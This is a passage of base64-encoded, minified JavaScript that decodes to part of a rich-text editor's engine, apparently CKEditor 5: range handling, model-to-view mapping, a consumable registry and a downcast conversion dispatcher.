lbmd0aD09MSl7Yz1uZXcgZWYoYVswXS5zdGFydC5fZ2V0VHJhbnNmb3JtZWRCeURlbGV0aW9uKHQsbiksYVswXS5lbmQuX2dldFRyYW5zZm9ybWVkQnlEZWxldGlvbih0LG4pKX1lbHNlIGlmKGEubGVuZ3RoPT0yKXtjPW5ldyBlZih0aGlzLnN0YXJ0LHRoaXMuZW5kLl9nZXRUcmFuc2Zvcm1lZEJ5RGVsZXRpb24odCxuKSl9aWYoYyl7cz1jLl9nZXRUcmFuc2Zvcm1lZEJ5SW5zZXJ0aW9uKHIsbixsIT09bnVsbHx8aSl9ZWxzZXtzPVtdfWlmKGwpe2NvbnN0IHQ9bmV3IGVmKGwuc3RhcnQuX2dldENvbWJpbmVkKG8uc3RhcnQsciksbC5lbmQuX2dldENvbWJpbmVkKG8uc3RhcnQscikpO2lmKHMubGVuZ3RoPT0yKXtzLnNwbGljZSgxLDAsdCl9ZWxzZXtzLnB1c2godCl9fXJldHVybiBzfV9nZXRUcmFuc2Zvcm1lZEJ5RGVsZXRpb24odCxlKXtsZXQgbj10aGlzLnN0YXJ0Ll9nZXRUcmFuc2Zvcm1lZEJ5RGVsZXRpb24odCxlKTtsZXQgaT10aGlzLmVuZC5fZ2V0VHJhbnNmb3JtZWRCeURlbGV0aW9uKHQsZSk7aWYobj09bnVsbCYmaT09bnVsbCl7cmV0dXJuIG51bGx9aWYobj09bnVsbCl7bj10fWlmKGk9PW51bGwpe2k9dH1yZXR1cm4gbmV3IGVmKG4saSl9c3RhdGljIF9jcmVhdGVGcm9tUG9zaXRpb25BbmRTaGlmdCh0LGUpe2NvbnN0IG49dDtjb25zdCBpPXQuZ2V0U2hpZnRlZEJ5KGUpO3JldHVybiBlPjA/bmV3IHRoaXMobixpKTpuZXcgdGhpcyhpLG4pfXN0YXRpYyBfY3JlYXRlSW4odCl7cmV0dXJuIG5ldyB0aGlzKEpoLl9jcmVhdGVBdCh0LDApLEpoLl9jcmVhdGVBdCh0LHQubWF4T2Zmc2V0KSl9c3RhdGljIF9jcmVhdGVPbih0KXtyZXR1cm4gdGhpcy5fY3JlYXRlRnJvbVBvc2l0aW9uQW5kU2hpZnQoSmguX2NyZWF0ZUJlZm9yZSh0KSx0Lm9mZnNldFNpemUpfXN0YXRpYyBfY3JlYXRlRnJvbVJhbmdlcyh0KXtpZih0Lmxlbmd0aD09PTApe3Rocm93IG5ldyBzc1siYSJdKCJyYW5nZS1jcmVhdGUtZnJvbS1yYW5nZXMtZW1wdHktYXJyYXkiLG51bGwpfWVsc2UgaWYodC5sZW5ndGg9PTEpe3JldHVybiB0WzBdLmNsb25lKCl9Y29uc3QgZT10WzBdO3Quc29ydCgoKHQsZSk9PnQuc3RhcnQuaXNBZnRlcihlLnN0YXJ0KT8xOi0xKSk7Y29uc3Qgbj10LmluZGV4T2YoZSk7Y29uc3QgaT1uZXcgdGhpcyhlLnN0YXJ0LGUuZW5kKTtpZihuPjApe2ZvcihsZXQgZT1uLTE7dHJ1ZTtlKyspe2lmKHRbZV0uZW5kLmlzRXF1YWwoaS5zdGFydCkpe2kuc3RhcnQ9SmguX2NyZWF0ZUF0KHRbZV0uc3RhcnQpfWVsc2V7YnJlYWt9fX1mb3IobGV0IGU9bisxO2U8dC5sZW5ndGg7ZSsrKXtpZih0W2VdLnN0YXJ0LmlzRXF1YWwoaS5lbmQpKXtpLmVuZD1KaC5fY3JlYXRlQXQodFtlXS5lbmQpfWVsc2V7YnJlYWt9fXJldHVybiBpfXN0YXRpYyBmcm9tSlNPTih0LGUpe3JldHVybiBuZXcgdGhpcyhKaC5mcm9tSlNPTih0LnN0YXJ0LGUpLEpoLmZyb21KU09OKHQuZW5kLGUpKX19Y2xhc3MgbmZ7Y29uc3RydWN0b3IoKXt0aGlzLl9tb2RlbFRvVmlld01hcHBpbmc9bmV3IFdlYWtNYXA7dGhpcy5fdmlld1RvTW9kZWxNYXBwaW5nPW5ldyBXZWFrTWFwO3RoaXMuX3ZpZXdUb01vZGVsTGVuZ3RoQ2FsbGJhY2tzPW5ldyBNYXA7dGhpcy5fbWFya2VyTmFtZVRvRWxlbWVudHM9bmV3IE1hcDt0aGlzLl9lbGVtZW50VG9NYXJrZXJOYW1lcz1uZXcgTWFwO3RoaXMuX3VuYm91bmRNYXJrZXJOYW1lcz1uZXcgU2V0O3RoaXMub24oIm1vZGVsVG9WaWV3UG9zaXRpb24iLCgodCxlKT0+e2lmKGUudmlld1Bvc2l0aW9uKXtyZXR1cm59Y29uc3Qgbj10aGlzLl9tb2RlbFRvVmlld01hcHBpbmcuZ2V0KGUubW9kZWxQb3NpdGlvbi5wYXJlbnQpO2Uudmlld1Bvc2l0aW9uPXRoaXMuZmluZFBvc2l0aW9uSW4obixlLm1vZGVsUG9zaXRpb24ub2Zmc2V0KX0pLHtwcmlvcml0eToibG93In0pO3RoaXMub24oInZpZXdUb01vZGVsUG9zaXRpb24iLCgodCxlKT0+e2lmKGUubW9kZWxQb3NpdGlvbil7cmV0dXJufWNvbnN0IG49dGhpcy5maW5kTWFwcGVkVmlld0FuY2VzdG9yKGUudmlld1Bvc2l0aW9uKTtjb25zdCBpPXRoaXMuX3ZpZXdUb01vZGVsTWFwcGluZy5nZXQobik7Y29uc3Qgbz10aGlzLl90b01vZGVsT2Zmc2V0KGUudmlld1Bvc2l0aW9uLnBhcmVudCxlLnZpZXdQb3NpdGlvbi5vZmZzZXQsbik7ZS5tb2RlbFBvc2l0aW9uPUpoLl9jcmVhdGVBdChpLG8pfSkse3ByaW9yaXR5OiJsb3cifSl9YmluZEVsZW1lbnRzKHQsZSl7dGhpcy5fbW9kZWxUb1ZpZXdNYXBwaW5nLnNldCh0LGUpO3RoaXMuX3ZpZXdUb01vZGVsTWFwcGluZy5zZXQoZSx0KX11bmJpbmRWaWV3RWxlbWVudCh0KXtjb25zdCBlPXRoaXMudG9Nb2RlbEVsZW1lbnQodCk7dGhpcy5fdmlld1RvTW9kZWxNYXBwaW5nLmRlbGV0ZSh0KTtpZih0aGlzLl9lbGVtZW50VG9NYXJrZXJOYW1lcy5oYXModCkpe2Zvcihjb25zdCBlIG9mIHRoaXMuX2VsZW1lbnRUb01hcmtlck5hbWVzLmdldCh0KSl7dGhpcy5fdW5ib3VuZE1hcmtlck5hbWVzLmFkZChlKX19aWYodGhpcy5fbW9kZWxUb1ZpZXdNYXBwaW5nLmdldChlKT09dCl7dGhpcy5fbW9kZWxUb1ZpZXdNYXBwaW5nLmRlbGV0ZShlKX19dW5iaW5kTW9kZWxFbGVtZW50KHQpe2NvbnN0IGU9dGhpcy50b1ZpZXdFbGVtZW50KHQpO3RoaXMuX21vZGVsVG9WaWV3TWFwcGluZy5kZWxldGUodCk7aWYodGhpcy5fdmlld1RvTW9kZWxNYXBwaW5nLmdldChlKT09dCl7dGhpcy5fdmlld1RvTW9kZWxNYXBwaW5nLmRlbGV0ZShlKX19YmluZEVsZW1lbnRUb01hcmtlcih0LGUpe2NvbnN0IG49dGhpcy5fbWFya2VyTmFtZVRvRWxlbWVudHMuZ2V0KGUpfHxuZXcgU2V0O24uYWRkKHQpO2NvbnN0IGk9dGhpcy5fZWxlbWVudFRvTWFya2VyTmFtZXMuZ2V0KHQpfHxuZXcgU2V0O2kuYWRkKGUpO3RoaXMuX21hcmtlck5hbWVUb0VsZW1lbnRzLnNldChlLG4pO3RoaXMuX2VsZW1lbnRUb01hcmtlck5hbWVzLnNldCh0LGkpfXVuYmluZEVsZW1lbnRGcm9tTWFya2VyTmFtZSh0LGUpe2NvbnN0IG49dGhpcy5fbWFya2VyTmFtZVRvRWxlbWVudHMuZ2V0KGUpO2lmKG4pe24uZGVsZXRlKHQpO2lmKG4uc2l6ZT09MCl7dGhpcy5fbWFya2VyTmFtZVRvRWxlbWVudHMuZGVsZXRlKGUpfX1jb25zdCBpPXRoaXMuX2VsZW1lbnRUb01hcmtlck5hbWVzLmdldCh0KTtpZihpKXtpLmRlbGV0ZShlKTtpZihpLnNpemU9PTApe3RoaXMuX2VsZW1lbnRUb01hcmtlck5hbWVzLmRlbGV0ZSh0KX19fWZsdXNoVW5ib3VuZE1hcmtlck5hbWVzKCl7Y29uc3QgdD1BcnJheS5mcm9tKHRoaXMuX3VuYm91bmRNYXJrZXJOYW1lcyk7dGhpcy5fdW5ib3VuZE1hcmtlck5hbWVzLmNsZWFyKCk7cmV0dXJuIHR9Y2xlYXJCaW5kaW5ncygpe3RoaXMuX21vZGVsVG9WaWV3TWFwcGluZz1uZXcgV2Vha01hcDt0aGlzLl92aWV3VG9Nb2RlbE1hcHBpbmc9bmV3IFdlYWtNYXA7dGhpcy5fbWFya2VyTmFtZVRvRWxlbWVudHM9bmV3IE1hcDt0aGlzLl9lbGVtZW50VG9NYXJrZXJOYW1lcz1uZXcgTWFwO3RoaXMuX3VuYm91bmRNYXJrZXJOYW1lcz1uZXcgU2V0fXRvTW9kZWxFbGVtZW50KHQpe3JldHVybiB0aGlzLl92aWV3VG9Nb2RlbE1hcHBpbmcuZ2V0KHQpfXRvVmlld0VsZW1lbnQodCl7cmV0dXJuIHRoaXMuX21vZGVsVG9WaWV3TWFwcGluZy5nZXQodCl9dG9Nb2RlbFJhbmdlKHQpe3JldHVybiBuZXcgZWYodGhpcy50b01vZGVsUG9zaXRpb24odC5zdGFydCksdGhpcy50b01vZGVsUG9zaXRpb24odC5lbmQpKX10b1ZpZXdSYW5nZSh0KXtyZXR1cm4gbmV3IGZsKHRoaXMudG9WaWV3UG9zaXRpb24odC5zdGFydCksdGhpcy50b1ZpZXdQb3NpdGlvbih0LmVuZCkpfXRvTW9kZWxQb3NpdGlvbih0KXtjb25zdCBlPXt2aWV3UG9zaXRpb246dCxtYXBwZXI6dGhpc307dGhpcy5maXJlKCJ2aWV3VG9Nb2RlbFBvc2l0aW9uIixlKTtyZXR1cm4gZS5tb2RlbFBvc2l0aW9ufXRvVmlld1Bvc2l0aW9uKHQsZT17aXNQaGFudG9tOmZhbHNlfSl7Y29uc3Qgbj17bW9kZWxQb3NpdGlvbjp0LG1hcHBlcjp0aGlzLGlzUGhhbnRvbTplLmlzUGhhbnRvbX07dGhpcy5maXJlKCJtb2RlbFRvVmlld1Bvc2l0aW9uIixuKTtyZXR1cm4gbi52aWV3UG9zaXRpb259bWFya2VyTmFtZVRvRWxlbWVudHModCl7Y29uc3QgZT10aGlzLl9tYXJrZXJOYW1lVG9FbGVtZW50cy5nZXQodCk7aWYoIWUpe3JldHVybiBudWxsfWNvbnN0IG49bmV3IFNldDtmb3IoY29uc3QgdCBvZiBlKXtpZih0LmlzKCJhdHRyaWJ1dGVFbGVtZW50Iikpe2Zvcihjb25zdCBlIG9mIHQuZ2V0RWxlbWVudHNXaXRoU2FtZUlkKCkpe24uYWRkKGUpfX1lbHNle24uYWRkKHQpfX1yZXR1cm4gbn1yZWdpc3RlclZpZXdUb01vZGVsTGVuZ3RoKHQsZSl7dGhpcy5fdmlld1RvTW9kZWxMZW5ndGhDYWxsYmFja3Muc2V0KHQsZSl9ZmluZE1hcHBlZFZpZXdBbmNlc3Rvcih0KXtsZXQgZT10LnBhcmVudDt3aGlsZSghdGhpcy5fdmlld1RvTW9kZWxNYXBwaW5nLmhhcyhlKSl7ZT1lLnBhcmVudH1yZXR1cm4gZX1fdG9Nb2RlbE9mZnNldCh0LGUsbil7aWYobiE9dCl7Y29uc3QgaT10aGlzLl90b01vZGVsT2Zmc2V0KHQucGFyZW50LHQuaW5kZXgsbik7Y29uc3Qgbz10aGlzLl90b01vZGVsT2Zmc2V0KHQsZSx0KTtyZXR1cm4gaStvfWlmKHQuaXMoIiR0ZXh0Iikpe3JldHVybiBlfWxldCBpPTA7Zm9yKGxldCBuPTA7bjxlO24rKyl7aSs9dGhpcy5nZXRNb2RlbExlbmd0aCh0LmdldENoaWxkKG4pKX1yZXR1cm4gaX1nZXRNb2RlbExlbmd0aCh0KXtpZih0aGlzLl92aWV3VG9Nb2RlbExlbmd0aENhbGxiYWNrcy5nZXQodC5uYW1lKSl7Y29uc3QgZT10aGlzLl92aWV3VG9Nb2RlbExlbmd0aENhbGxiYWNrcy5nZXQodC5uYW1lKTtyZXR1cm4gZSh0KX1lbHNlIGlmKHRoaXMuX3ZpZXdUb01vZGVsTWFwcGluZy5oYXModCkpe3JldHVybiAxfWVsc2UgaWYodC5pcygiJHRleHQiKSl7cmV0dXJuIHQuZGF0YS5sZW5ndGh9ZWxzZSBpZih0LmlzKCJ1aUVsZW1lbnQiKSl7cmV0dXJuIDB9ZWxzZXtsZXQgZT0wO2Zvcihjb25zdCBuIG9mIHQuZ2V0Q2hpbGRyZW4oKSl7ZSs9dGhpcy5nZXRNb2RlbExlbmd0aChuKX1yZXR1cm4gZX19ZmluZFBvc2l0aW9uSW4odCxlKXtsZXQgbjtsZXQgaT0wO2xldCBvPTA7bGV0IHI9MDtpZih0LmlzKCIkdGV4dCIpKXtyZXR1cm4gbmV3IGhsKHQsZSl9d2hpbGUobzxlKXtuPXQuZ2V0Q2hpbGQocik7aT10aGlzLmdldE1vZGVsTGVuZ3RoKG4pO28rPWk7cisrfWlmKG89PWUpe3JldHVybiB0aGlzLl9tb3ZlVmlld1Bvc2l0aW9uVG9UZXh0Tm9kZShuZXcgaGwodCxyKSl9ZWxzZXtyZXR1cm4gdGhpcy5maW5kUG9zaXRpb25JbihuLGUtKG8taSkpfX1fbW92ZVZpZXdQb3NpdGlvblRvVGV4dE5vZGUodCl7Y29uc3QgZT10Lm5vZGVCZWZvcmU7Y29uc3Qgbj10Lm5vZGVBZnRlcjtpZihlIGluc3RhbmNlb2YgVnMpe3JldHVybiBuZXcgaGwoZSxlLmRhdGEubGVuZ3RoKX1lbHNlIGlmKG4gaW5zdGFuY2VvZiBWcyl7cmV0dXJuIG5ldyBobChuLDApfXJldHVybiB0fX1fcyhuZixkcyk7Y2xhc3Mgb2Z7Y29uc3RydWN0b3IoKXt0aGlzLl9jb25zdW1hYmxlPW5ldyBNYXA7dGhpcy5fdGV4dFByb3h5UmVnaXN0cnk9bmV3IE1hcH1hZGQodCxlKXtlPXJmKGUpO2lmKHQgaW5zdGFuY2VvZiBXaCl7dD10aGlzLl9nZXRTeW1ib2xGb3JUZXh0UHJveHkodCl9aWYoIXRoaXMuX2NvbnN1bWFibGUuaGFzKHQpKXt0aGlzLl9jb25zdW1hYmxlLnNldCh0LG5ldyBNYXApfXRoaXMuX2NvbnN1bWFibGUuZ2V0KHQpLnNldChlLHRydWUpfWNvbnN1bWUodCxlKXtlPXJmKGUpO2lmKHQgaW5zdGFuY2VvZiBXaCl7dD10aGlzLl9nZXRTeW1ib2xGb3JUZXh0UHJveHkodCl9aWYodGhpcy50ZXN0KHQsZSkpe3RoaXMuX2NvbnN1bWFibGUuZ2V0KHQpLnNldChlLGZhbHNlKTtyZXR1cm4gdHJ1ZX1lbHNle3JldHVybiBmYWxzZX19dGVzdCh0LGUpe2U9cmYoZSk7aWYodCBpbnN0YW5jZW9mIFdoKXt0PXRoaXMuX2dldFN5bWJvbEZvclRleHRQcm94eSh0KX1jb25zdCBuPXRoaXMuX2NvbnN1bWFibGUuZ2V0KHQpO2lmKG49PT11bmRlZmluZWQpe3JldHVybiBudWxsfWNvbnN0IGk9bi5nZXQoZSk7aWYoaT09PXVuZGVmaW5lZCl7cmV0dXJuIG51bGx9cmV0dXJuIGl9cmV2ZXJ0KHQsZSl7ZT1yZihlKTtpZih0IGluc3RhbmNlb2YgV2gpe3Q9dGhpcy5fZ2V0U3ltYm9sRm9yVGV4dFByb3h5KHQpfWNvbnN0IG49dGhpcy50ZXN0KHQsZSk7aWYobj09PWZhbHNlKXt0aGlzLl9jb25zdW1hYmxlLmdldCh0KS5zZXQoZSx0cnVlKTtyZXR1cm4gdHJ1ZX1lbHNlIGlmKG49PT10cnVlKXtyZXR1cm4gZmFsc2V9cmV0dXJuIG51bGx9X2dldFN5bWJvbEZvclRleHRQcm94eSh0KXtsZXQgZT1udWxsO2NvbnN0IG49dGhpcy5fdGV4dFByb3h5UmVnaXN0cnkuZ2V0KHQuc3RhcnRPZmZzZXQpO2lmKG4pe2NvbnN0IGk9bi5nZXQodC5lbmRPZmZzZXQpO2lmKGkpe2U9aS5nZXQodC5wYXJlbnQpfX1pZighZSl7ZT10aGlzLl9hZGRTeW1ib2xGb3JUZXh0UHJveHkodC5zdGFydE9mZnNldCx0LmVuZE9mZnNldCx0LnBhcmVudCl9cmV0dXJuIGV9X2FkZFN5bWJvbEZvclRleHRQcm94eSh0LGUsbil7Y29uc3QgaT1TeW1ib2woInRleHRQcm94eVN5bWJvbCIpO2xldCBvLHI7bz10aGlzLl90ZXh0UHJveHlSZWdpc3RyeS5nZXQodCk7aWYoIW8pe289bmV3IE1hcDt0aGlzLl90ZXh0UHJveHlSZWdpc3RyeS5zZXQodCxvKX1yPW8uZ2V0KGUpO2lmKCFyKXtyPW5ldyBNYXA7by5zZXQoZSxyKX1yLnNldChuLGkpO3JldHVybiBpfX1mdW5jdGlvbiByZih0KXtjb25zdCBlPXQuc3BsaXQoIjoiKTtyZXR1cm4gZS5sZW5ndGg+MT9lWzBdKyI6IitlWzFdOmVbMF19Y2xhc3Mgc2Z7Y29uc3RydWN0b3IodCl7dGhpcy5jb252ZXJzaW9uQXBpPU9iamVjdC5hc3NpZ24oe2Rpc3BhdGNoZXI6dGhpc30sdCk7dGhpcy5fcmVjb252ZXJzaW9uRXZlbnRzTWFwcGluZz1uZXcgTWFwfWNvbnZlcnRDaGFuZ2VzKHQsZSxuKXtmb3IoY29uc3QgZSBvZiB0LmdldE1hcmtlcnNUb1JlbW92ZSgpKXt0aGlzLmNvbnZlcnRNYXJrZXJSZW1vdmUoZS5uYW1lLGUucmFuZ2Usbil9Y29uc3QgaT10aGlzLl9tYXBDaGFuZ2VzV2l0aEF1dG9tYXRpY1JlY29udmVyc2lvbih0KTtmb3IoY29uc3QgdCBvZiBpKXtpZih0LnR5cGU9PT0iaW5zZXJ0Iil7dGhpcy5jb252ZXJ0SW5zZXJ0KGVmLl9jcmVhdGVGcm9tUG9zaXRpb25BbmRTaGlmdCh0LnBvc2l0aW9uLHQubGVuZ3RoKSxuKX1lbHNlIGlmKHQudHlwZT09PSJyZW1vdmUiKXt0aGlzLmNvbnZlcnRSZW1vdmUodC5wb3NpdGlvbix0Lmxlbmd0aCx0Lm5hbWUsbil9ZWxzZSBpZih0LnR5cGU9PT0icmVjb252ZXJ0Iil7dGhpcy5yZWNvbnZlcnRFbGVtZW50KHQuZWxlbWVudCxuKX1lbHNle3RoaXMuY29udmVydEF0dHJpYnV0ZSh0LnJhbmdlLHQuYXR0cmlidXRlS2V5LHQuYXR0cmlidXRlT2xkVmFsdWUsdC5hdHRyaWJ1dGVOZXdWYWx1ZSxuKX19Zm9yKGNvbnN0IHQgb2YgdGhpcy5jb252ZXJzaW9uQXBpLm1hcHBlci5mbHVzaFVuYm91bmRNYXJrZXJOYW1lcygpKXtjb25zdCBpPWUuZ2V0KHQpLmdldFJhbmdlKCk7dGhpcy5jb252ZXJ0TWFya2VyUmVtb3ZlKHQsaSxuKTt0aGlzLmNvbnZlcnRNYXJrZXJBZGQodCxpLG4pfWZvcihjb25zdCBlIG9mIHQuZ2V0TWFya2Vyc1RvQWRkKCkpe3RoaXMuY29udmVydE1hcmtlckFkZChlLm5hbWUsZS5yYW5nZSxuKX19Y29udmVydEluc2VydCh0LGUpe3RoaXMuY29udmVyc2lvbkFwaS53cml0ZXI9ZTt0aGlzLmNvbnZlcnNpb25BcGkuY29uc3VtYWJsZT10aGlzLl9jcmVhdGVJbnNlcnRDb25zdW1hYmxlKHQpO2Zvcihjb25zdCBlIG9mIEFycmF5LmZyb20odCkubWFwKGxmKSl7dGhpcy5fY29udmVydEluc2VydFdpdGhBdHRyaWJ1dGVzKGUpfXRoaXMuX2NsZWFyQ29udmVyc2lvbkFwaSgpfWNvbnZlcnRSZW1vdmUodCxlLG4saSl7dGhpcy5jb252ZXJzaW9uQXBpLndyaXRlcj1pO3RoaXMuZmlyZSgicmVtb3ZlOiIrbix7cG9zaXRpb246dCxsZW5ndGg6ZX0sdGhpcy5jb252ZXJzaW9uQXBpKTt0aGlzLl9jbGVhckNvbnZlcnNpb25BcGkoKX1jb252ZXJ0QXR0cmlidXRlKHQsZSxuLGksbyl7dGhpcy5jb252ZXJzaW9uQXBpLndyaXRlcj1vO3RoaXMuY29udmVyc2lvbkFwaS5jb25zdW1hYmxlPXRoaXMuX2NyZWF0ZUNvbnN1bWFibGVGb3JSYW5nZSh0LGBhdHRyaWJ1dGU6JHtlfWApO2Zvcihjb25zdCBvIG9mIHQpe2NvbnN0IHQ9by5pdGVtO2NvbnN0IHI9ZWYuX2NyZWF0ZUZyb21Qb3NpdGlvbkFuZFNoaWZ0KG8ucHJldmlvdXNQb3NpdGlvbixvLmxlbmd0aCk7Y29uc3Qgcz17aXRlbTp0LHJhbmdlOnIsYXR0cmlidXRlS2V5OmUsYXR0cmlidXRlT2xkVmFsdWU6bixhdHRyaWJ1dGVOZXdWYWx1ZTppfTt0aGlzLl90ZXN0QW5kRmlyZShgYXR0cmlidXRlOiR7ZX1gLHMpfXRoaXMuX2NsZWFyQ29udmVyc2lvbkFwaSgpfXJlY29udmVydEVsZW1lbnQodCxlKXtjb25zdCBuPWVmLl9jcmVhdGVPbih0KTt0aGlzLmNvbnZlcnNpb25BcGkud3JpdGVyPWU7dGhpcy5jb252ZXJzaW9uQXBpLmNvbnN1bWFibGU9dGhpcy5fY3JlYXRlSW5zZXJ0Q29uc3VtYWJsZShuKTtjb25zdCBpPXRoaXMuY29udmVyc2lvbkFwaS5tYXBwZXI7Y29uc3Qgbz1pLnRvVmlld0VsZW1lbnQodCk7ZS5yZW1vdmUobyk7dGhpcy5fY29udmVydEluc2VydFdpdGhBdHRyaWJ1dGVzKHtpdGVtOnQscmFuZ2U6bn0pO2NvbnN0IHI9aS50b1ZpZXdFbGVtZW50KHQpO2Zvcihjb25zdCBuIG9mIGVmLl9jcmVhdGVJbih0KSl7Y29uc3R7aXRlbTp0fT1uO2NvbnN0IG89ZGYodCxpKTtpZihvKXtpZihvLnJvb3QhPT1yLnJvb3Qpe2UubW92ZShlLmNyZWF0ZVJhbmdlT24obyksaS50b1ZpZXdQb3NpdGlvbihKaC5fY3JlYXRlQmVmb3JlKHQpKSl9fWVsc2V7dGhpcy5fY29udmVydEluc2VydFdpdGhBdHRyaWJ1dGVzKGxmKG4pKX19aS51bmJpbmRWaWV3RWxlbWVudChvKTt0aGlzLl9jbGVhckNvbnZlcnNpb25BcGkoKX1jb252ZXJ0U2VsZWN0aW9uKHQsZSxuKXtjb25zdCBpPUFycmF5LmZyb20oZS5nZXRNYXJrZXJzQXRQb3NpdGlvbih0LmdldEZpcnN0UG9zaXRpb24oKSkpO3RoaXMuY29udmVyc2lvbkFwaS53cml0ZXI9bjt0aGlzLmNvbnZlcnNpb25BcGkuY29uc3VtYWJsZT10aGlzLl9jcmVhdGVTZWxlY3Rpb25Db25zdW1hYmxlKHQsaSk7dGhpcy5maXJlKCJzZWxlY3Rpb24iLHtzZWxlY3Rpb246dH0sdGhpcy5jb252ZXJzaW9uQXBpKTtpZighdC5pc0NvbGxhcHNlZCl7cmV0dXJufWZvcihjb25zdCBlIG9mIGkpe2NvbnN0IG49ZS5nZXRSYW5nZSgpO2lmKCFhZih0LmdldEZpcnN0UG9zaXRpb24oKSxlLHRoaXMuY29udmVyc2lvbkFwaS5tYXBwZXIpKXtjb250aW51ZX1jb25zdCBpPXtpdGVtOnQsbWFya2VyTmFtZTplLm5hbWUsbWFya2VyUmFuZ2U6bn07aWYodGhpcy5jb252ZXJzaW9uQXBpLmNvbnN1bWFibGUudGVzdCh0LCJhZGRNYXJrZXI6IitlLm5hbWUpKXt0aGlzLmZpcmUoImFkZE1hcmtlcjoiK2UubmFtZSxpLHRoaXMuY29udmVyc2lvbkFwaSl9fWZvcihjb25zdCBlIG9mIHQuZ2V0QXR0cmlidXRlS2V5cygpKXtjb25zdCBuPXtpdGVtOnQscmFuZ2U6dC5nZXRGaXJzdFJhbmdlKCksYXR0cmlidXRlS2V5OmUsYXR0cmlidXRlT2xkVmFsdWU6bnVsbCxhdHRyaWJ1dGVOZXdWYWx1ZTp0LmdldEF0dHJpYnV0ZShlKX07aWYodGhpcy5jb252ZXJzaW9uQXBpLmNvbnN1bWFibGUudGVzdCh0LCJhdHRyaWJ1dGU6IituLmF0dHJpYnV0ZUtleSkpe3RoaXMuZmlyZSgiYXR0cmlidXRlOiIrbi5hdHRyaWJ1dGVLZXkrIjokdGV4dCIsbix0aGlzLmNvbnZlcnNpb25BcGkpfX10aGlzLl9jbGVhckNvbnZlcnNpb25BcGkoKX1jb252ZXJ0TWFya2VyQWRkKHQsZSxuKXtpZighZS5yb290LmRvY3VtZW50fHxlLnJvb3Qucm9vdE5hbWU9PSIkZ3JhdmV5YXJkIil7cmV0dXJufXRoaXMuY29udmVyc2lvbkFwaS53cml0ZXI9bjtjb25zdCBpPSJhZGRNYXJrZXI6Iit0O2NvbnN0IG89bmV3IG9mO28uYWRkKGUsaSk7dGhpcy5jb252ZXJzaW9uQXBpLmNvbnN1bWFibGU9bzt0aGlzLmZpcmUoaSx7bWFya2VyTmFtZTp0LG1hcmtlclJhbmdlOmV9LHRoaXMuY29udmVyc2lvbkFwaSk7aWYoIW8udGVzdChlLGkpKXtyZXR1cm59dGhpcy5jb252ZXJzaW9uQXBpLmNvbnN1bWFibGU9dGhpcy5fY3JlYXRlQ29uc3VtYWJsZUZvclJhbmdlKGUsaSk7Zm9yKGNvbnN0IG4gb2YgZS5nZXRJdGVtcygpKXtpZighdGhpcy5jb252ZXJzaW9uQXBpLmNvbnN1bWFibGUudGVzdChuLGkpKXtjb250aW51ZX1jb25zdCBvPXtpdGVtOm4scmFuZ2U6ZWYuX2NyZWF0ZU9uKG4pLG1hcmtlck5hbWU6dCxtYXJrZXJSYW5nZTplfTt0aGlzLmZpcmUoaSxvLHRoaXMuY29udmVyc2lvbkFwaSl9dGhpcy5fY2xlYXJDb252ZXJzaW9uQXBpKCl9Y29udmVydE1hcmtlclJlbW92ZSh0LGUsbil7aWYoIWUucm9vdC5kb2N1bWVudHx8ZS5yb290LnJvb3ROYW1lPT0iJGdyYXZleWFyZCIpe3JldHVybn10aGlzLmNvbnZlcnNpb25BcGkud3JpdGVyPW47dGhpcy5maXJlKCJyZW1vdmVNYXJrZXI6Iit0LHttYXJrZXJOYW1lOnQsbWFya2VyUmFuZ2U6ZX0sdGhpcy5jb252ZXJzaW9uQXBpKTt0aGlzLl9jbGVhckNvbnZlcnNpb25BcGkoKX1fbWFwUmVjb252ZXJzaW9uVHJpZ2dlckV2ZW50KHQsZSl7dGhpcy5fcmVjb252ZXJzaW9uRXZlbnRzTWFwcGluZy5zZXQoZSx0KX1fY3JlYXRlSW5zZXJ0Q29uc3VtYWJsZSh0KXtjb25zdCBlPW5ldyBvZjtmb3IoY29uc3QgbiBvZiB0KXtjb25zdCB0PW4uaXRlbTtlLmFkZCh0LCJpbnNlcnQiKTtmb3IoY29uc3QgbiBvZiB0LmdldEF0dHJpYnV0ZUtleXMoKSl7ZS5hZGQodCwiYXR0cmlidXRlOiIrbil9fXJldHVybiBlfV9jcmVhdGVDb25zdW1hYmxlRm9yUmFuZ2UodCxlKXtjb25zdCBuPW5ldyBvZjtmb3IoY29uc3QgaSBvZiB0LmdldEl0ZW1zKCkpe24uYWRkKGksZSl9cmV0dXJuIG59X2NyZWF0ZVNlbGVjdGlvbkNvbnN1bWFibGUodCxlKXtjb25zdCBuPW5ldyBvZjtuLmFkZCh0LCJzZWxlY3Rpb24iKTtmb3IoY29uc3QgaSBvZiBlKXtuLmFkZCh0LCJhZGRNYXJrZXI6IitpLm5hbWUpfWZvcihjb25zdCBlIG9mIHQuZ2V0QXR0cmlidXRlS2V5cygpKXtuLmFkZCh0LCJhdHRyaWJ1dGU6IitlKX1yZXR1cm4gbn1fdGVzdEFuZEZpcmUodCxlKXtpZighdGhpcy5jb252ZXJzaW9uQXBpLmNvbnN1bWFibGUudGVzdChlLml0ZW0sdCkpe3JldHVybn10aGlzLmZpcmUoY2YodCxlKSxlLHRoaXMuY29udmVyc2lvbkFwaSl9X2NsZWFyQ29udmVyc2lvbkFwaSgpe2RlbGV0ZSB0aGlzLmNvbnZlcnNpb25BcGkud3JpdGVyO2RlbGV0ZSB0aGlzLmNvbnZlcnNpb25BcGkuY29uc3VtYWJsZX1fY29udmVydEluc2VydFdpdGhBdHRyaWJ1dGVzKHQpe3RoaXMuX3Rlc3RBbmRGaXJlKCJpbnNlcnQiLHQpO2Zvcihjb25zdCBlIG9mIHQuaXRlbS5nZXRBdHRyaWJ1dGVLZXlzKCkpe3QuYXR0cmlidXRlS2V5PWU7dC5hdHRyaWJ1dGVPbGRWYWx1ZT1udWxsO3QuYXR0cmlidXRlTmV3VmFsdWU9dC5pdGVtLmdldEF0dHJpYnV0ZShlKTt0aGlzLl90ZXN0QW5kRmlyZShgYXR0cmlidXRlOiR7ZX1gLHQpfX1fbWFwQ2hhbmdlc1dpdGhBdXRvbWF0aWNSZWNvbnZlcnNpb24odCl7Y29uc3QgZT1uZXcgU2V0O2NvbnN0IG49W107Zm9yKGNvbnN0IGkgb2YgdC5nZXRDaGFuZ2VzKCkpe2NvbnN0IHQ9aS5wb3NpdGlvbnx8aS5yYW5nZS5zdGFydDtjb25zdCBvPXQucGFyZW50O2NvbnN0IHI9WmgodCxvKTtpZihyKXtuLnB1c2goaSk7Y29udGludWV9Y29uc3Qgcz1pLnR5cGU9PT0iYXR0cmlidXRlIj9YaCh0LG8sbnVsbCk6bztpZihzLmlzKCIkdGV4dC